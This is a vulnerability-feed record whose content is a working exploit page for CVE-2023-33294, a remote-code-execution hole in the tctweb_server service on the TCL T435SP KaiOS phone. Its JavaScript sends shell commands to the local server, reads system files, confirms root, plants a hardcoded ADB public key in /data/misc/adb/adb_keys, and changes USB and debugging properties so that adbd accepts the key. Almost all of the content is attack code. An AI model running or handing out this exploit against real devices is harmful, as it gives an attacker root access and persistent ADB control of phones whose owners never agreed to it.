{"uuid": "3285ccb3-681e-4719-8a26-73ad19c972c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-33294", "type": "seen", "source": "https://gist.github.com/yissr/8edf9939a0dd771edb6bac5284f554b4", "content": "T435SP Root\n\n\n*{margin:0;padding:0;box-sizing:border-box}\nbody{font-family:monospace;font-size:14px;background:#111;color:#0f0;padding:8px}\nh1{font-size:16px;margin-bottom:8px}\n#log{white-space:pre-wrap;word-break:break-all;line-height:1.4}\n.err{color:#f44}.ok{color:#0f0}.info{color:#ff0}.cmd{color:#0af}\nbutton{background:#333;color:#0f0;border:1px solid #0f0;padding:6px 12px;margin:4px;font-family:monospace;font-size:14px}\n\n\nT435SP CVE-2023-33294\n\n\n\n1. TEST\n2. ROOT\n3. CHECK\n\nvar BASE = 'http://127.0.0.1:2929';\nvar ADB_KEY = 'QAAAABt2QW7tix+PJkW3MYipj3ITEtXtfJwPg8oYqR1EVEJYEitYGxT62VAktCTY8+bgqQpSb0V3qQuBk/UZZwrTxg397HWvSyvyUq/5gei9K6JI07QZE0ANgbSnB3/VdIT9fqi7BzgGuK5t+jK40IwKlmmfOeeL2wnABEbwBElbCYYRTPDnW7OvoovJ71L3z/JlhF6DDy70Dc6Hop0wHfD/elyp01ltcyC60mOTZj7m+SAGbb0PUbfdIiLdNyrp4N8r9Wlswl7b1UHvn7iCt8IKWNf6TtOCKJ9WqkkBqnaA4+yqHYyGqZkHTXmOi0AGrLr6yZmq6l7hspl3JvGzV1rF+WEoBTq4YcJ9KFf/2reaImZP5S9U8Y7i2lliAeyeF8dPXSaa+viYfehKj9mu6IzivjzBouEjD9xDLPoFUGNA9lI0FPMv9kZQy8gwEx8Zu+05oKQXNjNoU7sho+jirla8oCSmZSnniuFuCw9vquNIs9RJp9JiVo7J+cdE290c4Z6s0ygN65ddnQU7U9MMJVhF/92A7GYBylN9f0JIM+n6od3Eepb2TG1AvnLs94vT8UUxA76Md/TTYl9JWfIyAYGXWR6qkEfGrTnguK9sGncJFMxzftiXB2h7EpOh0WJUppEZ4QejGAQztjrhUDwtdp+xhttHRehtNh7uCTxJMvCQyUmoHlPsHwEAAQA= YK@DESKTOP-79K8P3I';\n\nfunction log(msg, cls) {\n  var el = document.getElementById('log');\n  var span = document.createElement('span');\n  span.className = cls || '';\n  span.textContent = msg + '\\n';\n  el.appendChild(span);\n  window.scrollTo(0, document.body.scrollHeight);\n}\n\nfunction tctweb(params) {\n  return fetch(BASE, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/x-www-form-urlencoded'},\n    body: params\n  }).then(function(r) { return r.text(); });\n}\n\nfunction shell(cmd) {\n  log('$ ' + cmd, 'cmd');\n  return tctweb('cmd=bash&cmdshell=' + encodeURIComponent(cmd))\n    .then(function(r) { log(r.trim()); return r.trim(); })\n    .catch(function(e) { log('ERROR: ' + e, 'err'); return ''; });\n}\n\nfunction readfile(path) {\n  return tctweb('cmd=bash&cmdshell=readfile&filename=' + encodeURIComponent(path));\n}\n\nfunction writefile(path, content) {\n  return tctweb('cmd=bash&cmdshell=writefile&filename=' + encodeURIComponent(path) + '&filecontent=' + encodeURIComponent(content));\n}\n\nfunction runTest() {\n  log('=== TESTING tctweb_server ===', 'info');\n  log('Connecting to ' + BASE + '...', 'info');\n\n  // Simple GET test first\n  fetch(BASE)\n    .then(function(r) { return r.text(); })\n    .then(function(t) {\n      log('SERVER IS ALIVE!', 'ok');\n      log('Response: ' + t.substring(0, 200), 'info');\n      // Now test command execution\n      return readfile('/system/build.prop');\n    })\n    .then(function(t) {\n      if (t) {\n        log('=== build.prop ===', 'info');\n        log(t.substring(0, 500));\n        // Extract key props\n        var lines = t.split('\\n');\n        for (var i = 0; i < lines.length; i++) {\n          var l = lines[i];\n          if (l.indexOf('ro.build.display') >= 0 ||\n              l.indexOf('ro.kaios') >= 0 ||\n              l.indexOf('ro.debuggable') >= 0 ||\n              l.indexOf('ro.adb.secure') >= 0 ||\n              l.indexOf('ro.secure') >= 0 ||\n              l.indexOf('ro.build.type') >= 0) {\n            log('>>> ' + l, 'ok');\n          }\n        }\n      }\n      return shell('id');\n    })\n    .then(function(t) {\n      if (t.indexOf('root') >= 0) {\n        log('*** RUNNING AS ROOT! ***', 'ok');\n      } else {\n        log('Not root: ' + t, 'err');\n      }\n      log('=== TEST COMPLETE ===', 'info');\n    })\n    .catch(function(e) {\n      log('FAILED: ' + e, 'err');\n      log('tctweb_server is NOT running or not accessible.', 'err');\n      log('This phone may be KaiOS 3.1+ (patched).', 'info');\n    });\n}\n\nfunction runExploit() {\n  log('=== ROOTING PHONE ===', 'info');\n\n  // Step 1: Check we have root\n  shell('id')\n    .then(function(t) {\n      if (t.indexOf('root') < 0) {\n        log('NOT ROOT - aborting', 'err');\n        return Promise.reject('not root');\n      }\n      log('Confirmed root access', 'ok');\n\n      // Step 2: Create adb_keys directory if needed\n      return shell('mkdir -p /data/misc/adb && chmod 750 /data/misc/adb && chown system:shell /data/misc/adb');\n    })\n    .then(function() {\n      log('Created /data/misc/adb/', 'ok');\n\n      // Step 3: Write ADB public key\n      return shell('echo \"' + ADB_KEY + '\" > /data/misc/adb/adb_keys && chmod 640 /data/misc/adb/adb_keys && chown system:shell /data/misc/adb/adb_keys');\n    })\n    .then(function() {\n      log('Wrote adb_keys', 'ok');\n\n      // Step 4: Verify\n      return shell('cat /data/misc/adb/adb_keys | head -c 60');\n    })\n    .then(function(t) {\n      if (t.indexOf('QAAAA') >= 0) {\n        log('ADB key verified!', 'ok');\n      } else {\n        log('Key verification unclear: ' + t, 'err');\n      }\n\n      // Step 5: Set properties for developer mode\n      return shell('setprop persist.sys.usb.config diag,serial_cdev,rmnet,adb');\n    })\n    .then(function() {\n      log('Set USB config property', 'ok');\n      return shell('setprop ro.debuggable 1');\n    })\n    .then(function() {\n      // ro.debuggable is read-only, but try anyway\n      return shell('setprop persist.service.adb.enable 1');\n    })\n    .then(function() {\n      log('Set ADB enable property', 'ok');\n\n      // Step 6: Restart adbd to pick up new keys\n      return shell('stop adbd && start adbd');\n    })\n    .then(function() {\n      log('Restarted adbd', 'ok');\n\n      // Step 7: Enable developer menu (KaiOS)\n      return shell('getprop ro.build.type');\n    })\n    .then(function(buildType) {\n      log('Build type: ' + buildType, 'info');\n\n      // Try to find and modify the settings DB\n      return shell('find /data/local -name \"*.sqlite\" -o -name \"settings*\" 2>/dev/null | head -20');\n    })\n    .then(function(t) {\n      log('Settings files: ' + t, 'info');\n\n      log('', '');\n      log('=== DONE ===', 'ok');\n      log('ADB key injected. Try connecting ADB from PC now.', 'ok');\n      log('If still unauthorized, reboot phone and retry ADB.', 'info');\n    })\n    .catch(function(e) {\n      log('EXPLOIT FAILED: ' + e, 'err');\n    });\n}\n\nfunction runCheck() {\n  log('=== POST-EXPLOIT CHECK ===', 'info');\n\n  shell('cat /data/misc/adb/adb_keys 2>/dev/null | wc -c')\n    .then(function(t) {\n      var bytes = parseInt(t);\n      log('adb_keys size: ' + bytes + ' bytes', bytes > 0 ? 'ok' : 'err');\n      return shell('getprop ro.adb.secure');\n    })\n    .then(function(t) {\n      log('ro.adb.secure = ' + t, t === '0' ? 'ok' : 'info');\n      return shell('getprop ro.debuggable');\n    })\n    .then(function(t) {\n      log('ro.debuggable = ' + t, t === '1' ? 'ok' : 'info');\n      return shell('getprop persist.sys.usb.config');\n    })\n    .then(function(t) {\n      log('usb.config = ' + t, 'info');\n      return shell('getprop sys.usb.state');\n    })\n    .then(function(t) {\n      log('usb.state = ' + t, 'info');\n      return shell('ps | grep adbd');\n    })\n    .then(function(t) {\n      log('adbd process: ' + t, t ? 'ok' : 'err');\n      return shell('ls -la /data/misc/adb/');\n    })\n    .then(function(t) {\n      log('adb dir: ' + t, 'info');\n      log('=== CHECK COMPLETE ===', 'info');\n    });\n}\n\nlog('TCL T435SP Root Tool', 'info');\nlog('CVE-2023-33294: tctweb_server RCE', 'info');\nlog('', '');\nlog('Press 1/TEST to check if vulnerable', 'info');\nlog('Press 2/ROOT to inject ADB key', 'info');\nlog('Press 3/CHECK to verify exploit', 'info');\n\n", "creation_timestamp": "2026-09-16T15:26:53.580441Z"}